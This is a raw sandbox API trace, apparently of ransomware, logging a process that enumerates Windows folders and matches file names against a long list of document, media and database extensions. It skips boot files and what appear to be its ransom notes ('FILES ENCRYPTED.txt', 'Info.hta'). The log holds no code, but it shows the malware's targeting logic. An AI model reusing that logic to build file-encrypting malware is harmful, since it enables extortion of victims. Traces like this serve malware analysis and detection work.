(lpString=".dif") returned 4 [0068.711] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0068.711] lstrlenW (lpString=".divx") returned 5 [0068.711] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0068.711] lstrlenW (lpString=".djvu") returned 5 [0068.712] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0068.712] lstrlenW (lpString=".dng") returned 4 [0068.712] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0068.712] lstrlenW (lpString=".doc") returned 4 [0068.712] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0068.712] lstrlenW (lpString=".docm") returned 5 [0068.712] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0068.712] lstrlenW (lpString=".docx") returned 5 [0068.712] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0068.712] lstrlenW (lpString=".dot") returned 4 [0068.712] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0068.712] lstrlenW (lpString=".dotm") returned 5 [0068.712] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0068.712] lstrlenW (lpString=".dotx") returned 5 [0068.712] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0068.712] lstrlenW (lpString=".dpx") returned 4 [0068.713] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0068.713] lstrlenW (lpString=".dqy") returned 4 [0068.713] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0068.713] lstrlenW (lpString=".dsn") returned 4 [0068.713] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0068.713] lstrlenW (lpString=".dt") returned 3 [0068.713] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0068.713] lstrlenW (lpString=".dtd") returned 4 [0068.713] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0068.713] lstrlenW (lpString=".dwg") returned 4 [0068.713] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0068.713] lstrlenW (lpString=".dwt") returned 4 [0068.713] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0068.713] lstrlenW (lpString=".dx") returned 3 [0068.713] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0068.713] lstrlenW (lpString=".dxf") returned 4 [0068.714] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0068.714] lstrlenW (lpString=".edml") returned 5 [0068.714] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0068.714] lstrlenW (lpString=".efd") returned 4 [0068.714] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0068.714] lstrlenW (lpString=".elf") returned 4 [0068.714] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0068.714] lstrlenW (lpString=".emf") returned 4 [0068.714] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0068.714] lstrlenW (lpString=".emz") returned 4 [0068.714] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0068.714] lstrlenW (lpString=".epf") returned 4 [0068.714] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0068.714] lstrlenW (lpString=".eps") returned 4 [0068.714] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0068.714] lstrlenW (lpString=".epsf") returned 5 [0068.714] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0068.714] lstrlenW (lpString=".epsp") returned 5 [0068.715] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0068.715] lstrlenW (lpString=".erf") returned 4 [0068.715] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0068.715] lstrlenW (lpString=".exr") returned 4 [0068.715] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0068.715] lstrlenW (lpString=".f4v") returned 4 [0068.715] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0068.715] lstrlenW (lpString=".fido") returned 5 [0068.715] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0068.715] lstrlenW (lpString=".flm") returned 4 [0068.715] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0068.715] lstrlenW (lpString=".flv") returned 4 [0068.715] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0068.715] lstrlenW (lpString=".frm") returned 4 [0068.715] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0068.715] lstrlenW (lpString=".fxg") returned 4 [0068.715] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0068.716] lstrlenW (lpString=".geo") returned 4 [0068.716] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0068.716] lstrlenW (lpString=".gif") returned 4 [0068.716] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0068.716] lstrlenW (lpString=".grs") returned 4 [0068.716] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0068.716] lstrlenW (lpString=".gz") returned 3 [0068.716] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0068.716] lstrlenW (lpString=".h") returned 2 [0068.716] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0068.716] lstrlenW (lpString=".hdr") returned 4 [0068.716] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0068.716] lstrlenW (lpString=".hpp") returned 4 [0068.716] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0068.716] lstrlenW (lpString=".hta") returned 4 [0068.716] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0068.716] lstrlenW (lpString=".htc") returned 4 [0068.716] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0068.716] lstrlenW (lpString=".htm") returned 4 [0068.717] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0068.717] lstrlenW (lpString=".html") returned 5 [0068.717] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0068.717] lstrlenW (lpString=".icb") returned 4 [0068.717] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0068.717] lstrlenW (lpString=".ics") returned 4 [0068.717] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0068.717] lstrlenW (lpString=".iff") returned 4 [0068.717] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0068.717] lstrlenW (lpString=".inc") returned 4 [0068.717] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0068.717] lstrlenW (lpString=".indd") returned 5 [0068.717] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0068.717] lstrlenW (lpString=".ini") returned 4 [0068.717] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0068.717] lstrlenW (lpString="desktop.ini") returned 11 [0068.718] lstrlenW (lpString=".IPM") returned 4 [0068.718] lstrcmpiW (lpString1=".IPM", lpString2=".ini") returned 1 [0068.718] lstrlenW (lpString="desktop.ini") returned 11 [0068.718] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0068.718] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0068.718] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0068.718] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0068.718] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0068.718] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0068.718] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0068.718] lstrcmpiW (lpString1="mdskkv.exe", lpString2="desktop.ini") returned 1 [0068.718] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0068.719] FindNextFileW (in: hFindFile=0x6285c8, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0068.719] FindClose (in: hFindFile=0x6285c8 | out: hFindFile=0x6285c8) returned 1 [0068.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x38a1070 | out: hHeap=0x5d0000) returned 1 [0068.719] FindNextFileW (in: hFindFile=0x628588, lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0068.719] FindClose (in: hFindFile=0x628588 | out: hFindFile=0x628588) returned 1 [0068.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x5d0000) returned 1 [0068.719] FindNextFileW (in: hFindFile=0x628548, lpFindFileData=0x2eefd00 | out: lpFindFileData=0x2eefd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0068.720] lstrlenW (lpString="C:\\Boot") returned 7 [0068.720] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0068.720] lstrlenW (lpString="Boot") returned 4 [0068.720] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0068.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3890060 [0068.720] lstrlenW (lpString="C:\\Boot") returned 7 [0068.720] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x628588 [0068.720] FindNextFileW (in: hFindFile=0x628588, lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.720] FindNextFileW (in: hFindFile=0x628588, lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0068.721] lstrlenW (lpString="BCD") returned 3 [0068.721] lstrlenW (lpString=".1cd") returned 4 [0068.721] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0068.721] lstrlenW (lpString=".3ds") returned 4 [0068.721] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0068.721] lstrlenW (lpString=".3fr") returned 4 [0068.721] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0068.721] lstrlenW (lpString=".3g2") returned 4 [0068.721] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0068.721] lstrlenW (lpString=".3gp") returned 4 [0068.721] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0068.721] lstrlenW (lpString=".7z") returned 3 [0068.721] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0068.721] lstrlenW (lpString=".accda") returned 6 [0068.722] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0068.722] lstrlenW (lpString=".accdb") returned 6 [0068.722] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0068.722] lstrlenW (lpString=".accdc") returned 6 [0068.722] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0068.722] lstrlenW (lpString=".accde") returned 6 [0068.722] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0068.722] lstrlenW (lpString=".accdt") returned 6 [0068.722] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0068.722] lstrlenW (lpString=".accdw") returned 6 [0068.722] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0068.722] lstrlenW (lpString=".adb") returned 4 [0068.722] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0068.722] lstrlenW (lpString=".adp") returned 4 [0068.722] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0068.722] lstrlenW (lpString=".ai") returned 3 [0068.722] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0068.723] lstrlenW (lpString=".ai3") returned 4 [0068.723] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0068.723] lstrlenW (lpString=".ai4") returned 4 [0068.723] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0068.723] lstrlenW (lpString=".ai5") returned 4 [0068.723] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0068.723] lstrlenW (lpString=".ai6") returned 4 [0068.723] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0068.723] lstrlenW (lpString=".ai7") returned 4 [0068.723] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0068.723] lstrlenW (lpString=".ai8") returned 4 [0068.723] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0068.723] lstrlenW (lpString=".anim") returned 5 [0068.723] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0068.723] lstrlenW (lpString=".arw") returned 4 [0068.723] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0068.724] lstrlenW (lpString=".as") returned 3 [0068.724] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0068.724] lstrlenW (lpString=".asa") returned 4 [0068.724] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0068.724] lstrlenW (lpString=".asc") returned 4 [0068.724] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0068.724] lstrlenW (lpString=".ascx") returned 5 [0068.724] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0068.724] lstrlenW (lpString=".asm") returned 4 [0068.724] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0068.724] lstrlenW (lpString=".asmx") returned 5 [0068.724] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0068.724] lstrlenW (lpString=".asp") returned 4 [0068.724] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0068.724] lstrlenW (lpString=".aspx") returned 5 [0068.724] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0068.724] lstrlenW (lpString=".asr") returned 4 [0068.724] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0068.725] lstrlenW (lpString=".asx") returned 4 [0068.725] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0068.725] lstrlenW (lpString=".avi") returned 4 [0068.725] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0068.725] lstrlenW (lpString=".avs") returned 4 [0068.725] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0068.725] lstrlenW (lpString=".backup") returned 7 [0068.725] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0068.725] lstrlenW (lpString=".bak") returned 4 [0068.725] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0068.725] lstrlenW (lpString=".bay") returned 4 [0068.725] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0068.725] lstrlenW (lpString=".bd") returned 3 [0068.725] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0068.725] lstrlenW (lpString=".bin") returned 4 [0068.725] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0068.725] lstrlenW (lpString=".bmp") returned 4 [0068.725] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0068.725] lstrlenW (lpString=".bz2") returned 4 [0068.726] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0068.726] lstrlenW (lpString=".c") returned 2 [0068.726] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0068.726] lstrlenW (lpString=".cdr") returned 4 [0068.726] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0068.726] lstrlenW (lpString=".cer") returned 4 [0068.726] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0068.726] lstrlenW (lpString=".cf") returned 3 [0068.726] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0068.726] lstrlenW (lpString=".cfc") returned 4 [0068.726] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0068.726] lstrlenW (lpString=".cfm") returned 4 [0068.726] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0068.726] lstrlenW (lpString=".cfml") returned 5 [0068.726] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0068.726] lstrlenW (lpString=".cfu") returned 4 [0068.726] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0068.727] lstrlenW (lpString=".chm") returned 4 [0068.727] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0068.727] lstrlenW (lpString=".cin") returned 4 [0068.727] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0068.727] lstrlenW (lpString=".class") returned 6 [0068.727] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0068.727] lstrlenW (lpString=".clx") returned 4 [0068.727] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0068.727] lstrlenW (lpString=".config") returned 7 [0068.727] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0068.727] lstrlenW (lpString=".cpp") returned 4 [0068.727] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0068.727] lstrlenW (lpString=".cr2") returned 4 [0068.727] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0068.727] lstrlenW (lpString=".crt") returned 4 [0068.727] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0068.727] lstrlenW (lpString=".crw") returned 4 [0068.727] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0068.727] lstrlenW (lpString=".cs") returned 3 [0068.728] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0068.728] lstrlenW (lpString=".css") returned 4 [0068.728] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0068.728] lstrlenW (lpString=".csv") returned 4 [0068.728] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0068.728] lstrlenW (lpString=".cub") returned 4 [0068.728] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0068.728] lstrlenW (lpString=".dae") returned 4 [0068.728] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0068.728] lstrlenW (lpString=".dat") returned 4 [0068.728] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0068.728] lstrlenW (lpString=".db") returned 3 [0068.728] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0068.728] lstrlenW (lpString=".dbf") returned 4 [0068.728] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0068.728] lstrlenW (lpString=".dbx") returned 4 [0068.728] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0068.728] lstrlenW (lpString=".dc3") returned 4 [0068.728] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0068.728] lstrlenW (lpString=".dcm") returned 4 [0068.729] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0068.729] lstrlenW (lpString=".dcr") returned 4 [0068.729] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0068.729] lstrlenW (lpString=".der") returned 4 [0068.729] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0068.729] lstrlenW (lpString=".dib") returned 4 [0068.729] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0068.729] lstrlenW (lpString=".dic") returned 4 [0068.729] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0068.729] lstrlenW (lpString=".dif") returned 4 [0068.729] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0068.729] lstrlenW (lpString=".divx") returned 5 [0068.729] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0068.729] lstrlenW (lpString=".djvu") returned 5 [0068.729] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0068.729] lstrlenW (lpString=".dng") returned 4 [0068.729] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0068.729] lstrlenW (lpString=".doc") returned 4 [0068.729] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0068.729] lstrlenW (lpString=".docm") returned 5 [0068.729] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0068.730] lstrlenW (lpString=".docx") returned 5 [0068.730] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0068.730] lstrlenW (lpString=".dot") returned 4 [0068.730] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0068.730] lstrlenW (lpString=".dotm") returned 5 [0068.730] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0068.730] lstrlenW (lpString=".dotx") returned 5 [0068.730] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0068.730] lstrlenW (lpString=".dpx") returned 4 [0068.730] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0068.730] lstrlenW (lpString=".dqy") returned 4 [0068.730] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0068.730] lstrlenW (lpString=".dsn") returned 4 [0068.730] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0068.730] lstrlenW (lpString=".dt") returned 3 [0068.730] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0068.730] lstrlenW (lpString=".dtd") returned 4 [0068.730] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0068.730] lstrlenW (lpString=".dwg") returned 4 [0068.730] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0068.731] lstrlenW (lpString=".dwt") returned 4 [0068.731] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0068.731] lstrlenW (lpString=".dx") returned 3 [0068.731] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0068.731] lstrlenW (lpString=".dxf") returned 4 [0068.731] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0068.731] lstrlenW (lpString=".edml") returned 5 [0068.731] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0068.731] lstrlenW (lpString=".efd") returned 4 [0068.731] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0068.731] lstrlenW (lpString=".elf") returned 4 [0068.731] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0068.731] lstrlenW (lpString=".emf") returned 4 [0068.731] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0068.731] lstrlenW (lpString=".emz") returned 4 [0068.731] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0068.731] lstrlenW (lpString=".epf") returned 4 [0068.731] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0068.731] lstrlenW (lpString=".eps") returned 4 [0068.731] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0068.732] lstrlenW (lpString=".epsf") returned 5 [0068.732] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0068.732] lstrlenW (lpString=".epsp") returned 5 [0068.732] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0068.732] lstrlenW (lpString=".erf") returned 4 [0068.732] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0068.732] lstrlenW (lpString=".exr") returned 4 [0068.732] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0068.732] lstrlenW (lpString=".f4v") returned 4 [0068.732] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0068.732] lstrlenW (lpString=".fido") returned 5 [0068.732] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0068.732] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0068.732] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0068.732] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0068.732] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0068.732] lstrcmpiW (lpString1=".geo", lpString2="") returned 1 [0068.733] lstrcmpiW (lpString1=".gif", lpString2="") returned 1 [0068.733] lstrcmpiW (lpString1=".grs", lpString2="") returned 1 [0068.733] lstrcmpiW (lpString1=".gz", lpString2="BCD") returned -1 [0068.733] lstrcmpiW (lpString1=".h", lpString2="CD") returned -1 [0068.899] lstrcmpiW (lpString1=".hdr", lpString2="") returned 1 [0068.899] lstrcmpiW (lpString1=".hpp", lpString2="") returned 1 [0068.899] lstrcmpiW (lpString1=".hta", lpString2="") returned 1 [0068.899] lstrcmpiW (lpString1=".htc", lpString2="") returned 1 [0068.899] lstrcmpiW (lpString1=".htm", lpString2="") returned 1 [0068.899] lstrcmpiW (lpString1=".html", lpString2="") returned 1 [0068.899] lstrcmpiW (lpString1=".icb", lpString2="") returned 1 [0068.899] lstrcmpiW (lpString1=".ics", lpString2="") returned 1 [0068.899] lstrcmpiW (lpString1=".iff", lpString2="") returned 1 [0068.899] lstrcmpiW (lpString1=".inc", lpString2="") returned 1 [0068.899] lstrcmpiW (lpString1=".indd", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".ini", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".iqy", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".j2c", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".j2k", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".java", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".jp2", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".jpc", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".jpe", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".jpeg", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".jpf", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".jpg", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".jpx", lpString2="") returned 1 [0068.900] lstrcmpiW (lpString1=".js", lpString2="BCD") returned -1 [0068.901] lstrcmpiW (lpString1=".jsf", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".json", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".jsp", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".kdc", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".kmz", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".kwm", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".lasso", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".lbi", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".lgf", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".lgp", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".log", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".m1v", lpString2="") returned 1 [0068.901] lstrcmpiW (lpString1=".m4a", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".m4v", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".max", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".md", lpString2="BCD") returned -1 [0068.902] lstrcmpiW (lpString1=".mda", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".mdb", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".mde", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".mdf", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".mdw", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".mef", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".mft", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".mfw", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".mht", lpString2="") returned 1 